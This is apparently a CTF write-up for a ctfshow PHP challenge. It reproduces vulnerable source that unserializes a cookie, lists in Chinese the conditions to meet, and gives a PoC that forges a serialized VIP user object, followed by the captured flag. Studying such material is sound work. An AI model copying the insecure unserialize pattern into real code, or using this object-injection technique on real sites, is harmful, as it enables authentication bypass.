nginx/1.16.1PHP/7.3.11

    1. <?php
    2. /*
    3. # -*- coding: utf-8 -*-
    4. # @Author: h1xa
    5. # @Date: 2020-12-02 17:44:47
    6. # @Last Modified by: h1xa
    7. # @Last Modified time: 2020-12-02 19:29:02
    8. # @email: h1xa@ctfer.com
    9. # @link: https://ctfer.com
    10. */
    11. error_reporting(0);
    12. highlight_file(__FILE__);
    13. include('flag.php');
    14. class ctfShowUser{
    15. public $username='xxxxxx';
    16. public $password='xxxxxx';
    17. public $isVip=false;
    18. public function checkVip(){
    19. return $this->isVip;
    20. }
    21. public function login($u,$p){
    22. return $this->username===$u&&$this->password===$p;
    23. }
    24. public function vipOneKeyGetFlag(){
    25. if($this->isVip){
    26. global $flag;
    27. if($this->username!==$this->password){
    28. echo "your flag is ".$flag;
    29. }
    30. }else{
    31. echo "no vip, no flag";
    32. }
    33. }
    34. }
    35. $username=$_GET['username'];
    36. $password=$_GET['password'];
    37. if(isset($username) && isset($password)){
    38. $user = unserialize($_COOKIE['user']);
    39. if($user->login($username,$password)){
    40. if($user->checkVip()){
    41. $user->vipOneKeyGetFlag();
    42. }
    43. }else{
    44. echo "no vip,no flag";
    45. }
    46. }

    分析:
    即要满足

    • 类成员 isVip 为 true
    • 传入的 username 和 类成员 username 相等
    • 传入的 password 和 类成员 password 相等
    • 类的 username 和 password 不等(原来是相等的)

    因为通过反序列化修改原有数据即可

    poc

    1. <?php
    2. $user = new ctfShowUser();
    3. $user->isVip = true;
    4. $user->username = '6';
    5. echo urlencode(serialize($user));
    6. ?>

    image.png

    flag
    ctfshow{b394e284-4c49-4a9f-bdae-6cf99f29011c}